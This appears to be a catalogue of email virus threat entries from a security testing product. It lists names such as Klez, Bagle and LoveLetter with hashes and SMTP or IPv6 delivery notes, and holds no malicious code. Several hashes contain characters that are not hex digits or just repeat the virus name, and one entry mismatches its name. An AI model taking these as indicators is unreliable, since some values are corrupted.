Detailed Description:	This is the email virus Worm.Lorda as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d77119bcac38455171bef0235eeb5ecf. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heath.c.5fc5ceb0_IPv6.xml
Executive Description:	Email Virus Worm.Heath.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5fc5ceb07f70178898f6700d987c5931. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W98.Hybris.E.d8c4307d_IPv6.xml

Executive Description:	Email Virus W98.Hybris.E (IPv6 Version)
Detailed Description:	This is the email virus W98.Hybris.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d8c4307da5901f19ddbc0e04f22a065d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Fintas.D.69ab5282.xml
Executive Description:	Email Virus Worm.Fintas.D
Detailed Description:	This is the email virus Worm.Fintas.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 69ab528253a22943fa2ce4be5fdfeab. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.BleBla.A.3c75b73b.xml
Executive Description:	Email Virus Worm.BleBla.A
Detailed Description:	This is the email virus Worm.BleBla.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3c75b73b123648b1768d0436d8efd13b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.4d878250_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4d878250606406226aff249feabac216. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Luna.B.d7a5f426_IPv6.xml
Executive Description:	Email Virus Worm.Luna.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Luna.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d7a5f426e6c630a8c0e38e7cae0f3143. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Anaphylaxis.0231c3a7.xml
Executive Description:	Email Virus Anaphylaxis
Detailed Description:	This is the email virus Anaphylaxis as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0231c3a7d92ead1bad77819d5bda939d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Stepaik.c.c.c4fae069.xml
Executive Description:	Email Virus Email-Worm.Win32.Stepaik.c.c
Detailed Description:	This is the email virus Email-Worm.Win32.Stepaik.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Stepaik.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Fizzer.A.a89c0ed6_IPv6.xml
Executive Description:	Email Virus Worm.Fizzer.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Fizzer.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a89c0ed6ef75179adb6f52240102b9b2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Klez.E.9138c146.xml
Executive Description:	Email Virus Worm.Klez.E
Detailed Description:	This is the email virus Worm.Klez.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9138c146aabc2a90f0a86163eb2faa5e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Predec.h.h.ff761bbc.xml
Executive Description:	Email Virus Email-Worm.Win32.Predec.h.h
Detailed Description:	This is the email virus Worm.Win32.Predec.h.h as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Predec.h.h. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Futonik.9a4a8754_IPv6.xml
Executive Description:	Email Virus Worm.Futonik (IPv6 Version)
Detailed Description:	This is the email virus Worm.Futonik as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9a4a8754d0403c869df2ce37347ead30. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Worm.Serotin.ec1f91fc_IPv6.xml
Executive Description:	Email Virus Worm.Serotin (IPv6 Version)
Detailed Description:	This is the email virus Worm.Serotin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ec1f91fc7b2531d727145fae29f461f4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Alcaul.M1.46f4becc_IPv6.xml
Executive Description:	Email Virus Worm.Alcaul.M1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Alcaul.M1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 46f4becc63127a839832f836a36f2860. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Challenge.f95blad3.xml
Executive Description:	Email Virus Worm.Challenge
Detailed Description:	This is the email virus Worm.Challenge as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f95blad38d100602d8000198f0762f04. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.XPMsg.8084b3d6_IPv6.xml
Executive Description:	Email Virus Worm.XPMsg (IPv6 Version)
Detailed Description:	This is the email virus Worm.XPMsg as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8084b3d6df88cbf2e371e9c84075559b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.White.B.866fbc39_IPv6.xml
Executive Description:	Email Virus Worm.White.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.White.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 866fbc39108e6e0668b194815b19381a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.d02de7ae.xml
Executive Description:	Email Virus Worm.Bagle.AG
Detailed Description:	This is the email virus Worm.Bagle.AG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d02de7ae9bd7c03da86a38a48a85bcfa. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Stepaik.A.b66016c1.xml
Executive Description:	Email Virus Worm.Stepaik.A
Detailed Description:	This is the email virus Worm.Stepaik.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b66016c129bfdc061294729b93454c33. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Anset.A.f3aeaa6a_IPv6.xml
Executive Description:	Email Virus Worm.Anset.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Anset.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f3aeaa6a234836dc4608307baee42408. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Krim.B.5de8ac8d.xml
Executive Description:	Email Virus Worm.Krim.B
Detailed Description:	This is the email virus Worm.Krim.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5de8ac8d3698f3da31d011dedd114dc5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Updater.f.f.94148e69_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Updater.f.f (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Updater.f.f as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Updater.f.f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.JS.Gigger.gig.afa28cc.xml
Executive Description:	Email Virus Email-Worm.JS.Gigger.gig
Detailed Description:	This is the email virus Email-Worm.JS.Gigger.gig as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.JS.Gigger.gig. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Email-Worm.Win32.Fintas.b.b.42bleb95.xml
Executive Description:	Email Virus Email-Worm.Win32.Fintas.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Fintas.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Fintas.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Frido.4bd22144.xml
Executive Description:	Email Virus Worm.VBS.Frido
Detailed Description:	This is the email virus Worm.VBS.Frido as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4bd2214406ad8a72a8351c07b08923c7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Baatezu.2820d151.xml
Executive Description:	Email Virus Worm.Baatezu
Detailed Description:	This is the email virus Worm.Baatezu as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2820d151f357f983dfb758adc326302. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Gibe.F.b09e26c2.xml
Executive Description:	Email Virus Worm.Gibe.F
Detailed Description:	This is the email virus Worm.Gibe.F as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b09e26c292759d654633d3c8ed00d18d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Plexis.4.17e6f1e0.xml
Executive Description:	Email Virus Worm.Plexis.4
Detailed Description:	This is the email virus Worm.Plexis.4 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 17e6f1e0dalbf842ecff57bfce34aed. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Creepy.b.b.59d8562d.xml
Executive Description:	Email Virus Email-Worm.Win32.Creepy.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Creepy.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Creepy.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Taz.78071c5d.xml
Executive Description:	Email Virus Worm.Taz
Detailed Description:	This is the email virus Worm.Taz as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 78071c5db7cf9c5687491387c735f400. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W95.Matrix.SCR.606f4355_IPv6.xml
Executive Description:	Email Virus W95.Matrix.SCR (IPv6 Version)
Detailed Description:	This is the email virus W95.Matrix.SCR as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 606f435504542cd18aa4612ca9a96cd2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mir.2ab6b53b_IPv6.xml
Executive Description:	Email Virus Worm.Mir (IPv6 Version)
Detailed Description:	This is the email virus Worm.Mir as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2ab6b53b3c58f2ba7ed78ed6falab1b5. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Poly.28dd1832.xml
Executive Description:	Email Virus Worm.Poly
Detailed Description:	This is the email virus Worm.Poly as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 28dd1832482b92945eb69e3a134cd017. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Draft.b.b.0571d54e.xml
Executive Description:	Email Virus Email-Worm.VBS.Draft.b.b
Detailed Description:	This is the email virus Email-Worm.VBS.Draft.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Draft.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	VBS.SSIWG.cebfb93_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: cebfb9369f1936dda0e84bb03107bde. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.BadTrans.B1.0bf5eae_IPv6.xml
Executive Description:	Email Virus Worm.BadTrans.B1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.BadTrans.B1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0bf5eaeed25da53f85086767bcd86e5e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yoxec.ff2f730a_IPv6.xml
Executive Description:	Email Virus Worm.Yoxec (IPv6 Version)
Detailed Description:	This is the email virus Worm.Yoxec as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ff2f730a128fdae0623lee2f2ee09e55. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Aliz.47412900.xml
Executive Description:	Email Virus W32.Aliz
Detailed Description:	This is the email virus W32.Aliz as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 474129006446c8250975ad820837d836. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Silly.d.exe.582da284.xml
Executive Description:	Email Virus Email-Worm.Win32.Silly.d.exe
Detailed Description:	This is the email virus Email-Worm.Win32.Silly.d.exe as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Silly.d.exe. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Calgary.c.c.9661abf8_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Calgary.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Calgary.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Calgary.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Gain.gai.970a06be.xml
Executive Description:	Email Virus Email-Worm.Win32.Gain.gai
Detailed Description:	This is the email virus Email-Worm.Win32.Gain.gai as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Gain.gai. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Entice.B.4dbb3847_IPv6.xml
Executive Description:	Email Virus VBS.Entice.B (IPv6 Version)
Detailed Description:	This is the email virus VBS.Entice.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4dbb3847fce7f01e8f23e10d9a47f669. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.JS.Astrology.ast.f8fe12c1.xml
Executive Description:	Email Virus Email-Worm.JS.Astrology.ast
Detailed Description:	This is the email virus Email-Worm.JS.Astrology.ast as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.JS.Astrology.ast. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Fakenap.B.ca637c0c_IPv6.xml
Executive Description:	Email Virus Worm.Fakenap.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Fakenap.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ca637c0ceea031f2d160cd8da9a092a4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.2294002b_IPv6.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165 (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2294002b6f23287ddb08502cefb6c6df. This attack is delivered via SMTP to a email server. (IPv6 Version)

Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Youngos.a.c04b062b_IPv6.xml
Executive Description:	Email Virus Worm.Youngos.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Youngos.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c04b062b5dc251b26abec57fbl80df92. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Exploit.IFrame.Gen.4eb65cb5.xml
Executive Description:	Email Virus Exploit.IFrame.Gen
Detailed Description:	This is the email virus Exploit.IFrame.Gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4eb65cb5c94cd99a6ef000cf897083df. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Aleat.3.4b578d00_IPv6.xml
Executive Description:	Email Virus Worm.Aleat.3 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Aleat.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4b578d00890e1198c6b622202f664ff6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Rodybot.90163da0_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Rodybot (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Rodybot as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 90163da04a5f5ba460fc29b7b6fa4755. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Luna.B.d7a5f426.xml
Executive Description:	Email Virus Worm.Luna.B
Detailed Description:	This is the email virus Worm.Luna.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d7a5f426e6c630a8c0e38e7cae0f3143. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Delf.d.d.632e8282.xml
Executive Description:	Email Virus Email-Worm.Win32.Delf.d.d
Detailed Description:	This is the email virus Email-Worm.Win32.Delf.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Delf.d.d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.Z.e9baa7ed_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.Z (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.Z as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e9baa7edb4b17ef64281a41bbe01f8d1. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Klez.H.74e3e172_IPv6.xml
Executive Description:	Email Virus Worm.Klez.H (IPv6 Version)
Detailed Description:	This is the email virus Worm.Klez.H as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 74e3e172fe55e10b36078c481b514a2d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Paukor.a.a.87748874_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Paukor.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Paukor.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Paukor.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Worm.Navidad.3d315a99_IPv6.xml
Executive Description:	Email Virus Trojan.Worm.Navidad (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Worm.Navidad as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3d315a99f004456296546d7ee6cd3e28. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Heath.c.5fc5ceb0.xml
Executive Description:	Email Virus Worm.Heath.c

Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5fc5ceb07f70178898f6700d987c5931. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Corad.6e2fb08c_IPv6.xml
Executive Description:	Email Virus Worm.Corad (IPv6 Version)
Detailed Description:	This is the email virus Worm.Corad as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6e2fb08ccfc60716348502140a02867f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Plemood.ple.d31fbdcc.xml
Executive Description:	Email Virus Email-Worm.Win32.Plemood.ple
Detailed Description:	This is the email virus Email-Worm.Win32.Plemood.ple as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Plemood.ple. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sircam.85faf716b_IPv6.xml
Executive Description:	Email Virus Worm.Rays.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sircam as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 85faf716b82e92aaa53e5e04e632b30a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Predec.f.f.ef9cba45_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Predec.f.f (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Predec.f.f as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Predec.f.f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.j.j.5e816e39.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.j.j
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.j.j as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.j.j. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.IRCGen.YuS.2.299d0734_IPv6.xml
Executive Description:	Email Virus Worm.IRCGen.YuS.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.IRCGen.YuS.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 299d073415dc002abca5b1355af09664. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.JuneX.945a914e_IPv6.xml
Executive Description:	Email Virus Worm.JuneX (IPv6 Version)
Detailed Description:	This is the email virus Worm.JuneX as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 945a914e518ba7975b562c551aaf4785. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AP.f7882c8d.xml
Executive Description:	Email Virus Worm.Bagle.AP
Detailed Description:	This is the email virus Worm.Bagle.AP as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f7882c8dac0e8611814fb74baaa0fec1. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.PicaWorm.B.d18f2497.xml
Executive Description:	Email Virus VBS.PicaWorm.B
Detailed Description:	This is the email virus VBS.PicaWorm.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d18f24972f7cec2fc65c138f235f4380. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.f.f.95109868.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.f.f
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.f.f as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.f.f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Tavo.71bee564_IPv6.xml

Executive Description:	Email Virus Worm.VBS.Tavo (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Tavo as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 71bee56406284430232c73232288c41f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Viled.a.a.138119b5_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Viled.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Viled.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Viled.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Kazus.b.b.ed651d65.xml
Executive Description:	Email Virus Email-Worm.Win32.Kazus.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Kazus.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Kazus.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.d060da6a.xml
Executive Description:	Email Virus Worm.Bagle.AG.2
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d060da6a50fb357174ad811493c66936. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Rastam.e4fda82a_IPv6.xml
Executive Description:	Email Virus Worm.Rastam (IPv6 Version)
Detailed Description:	This is the email virus Worm.Rastam as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e4fda82af5514427ca29b0560c8c40ed. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.VB.a.a.8a636888_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.VB.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.VB.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.VB.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.D.af1b0251.xml
Executive Description:	Email Virus VBS.LoveLetter.D
Detailed Description:	This is the email virus VBS.LoveLetter.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: af1b0251alddb0cffbdc6364bce9a8ae. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.MTX.plugin.Trojan.elfcb0fb_IPv6.xml
Executive Description:	Email Virus Worm.MTX.plugin.Trojan (IPv6 Version)
Detailed Description:	This is the email virus Worm.MTX.plugin.Trojan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: elfcb0fb57fcdd21da4b218238f688e4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Carnival.3483eedb.xml
Executive Description:	Email Virus Worm.VBS.Carnival
Detailed Description:	This is the email virus Worm.VBS.Carnival as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3483eedb101448965a2765d8afb8ad98. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.JS.Yama.yam.f1233115_IPv6.xml
Executive Description:	Email Virus Email-Worm.JS.Yama.yam (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.JS.Yama.yam as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.JS.Yama.yam. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Cowpox.f9744915.xml
Executive Description:	Email Virus Worm.Cowpox
Detailed Description:	This is the email virus Worm.Cowpox as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f97449153ad35d8ccd85fcf9d706c7e6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.Energy.B.aaa73660_IPv6.xml
Executive Description:	Email Virus Worm.Energy.B (IPv6 Version)
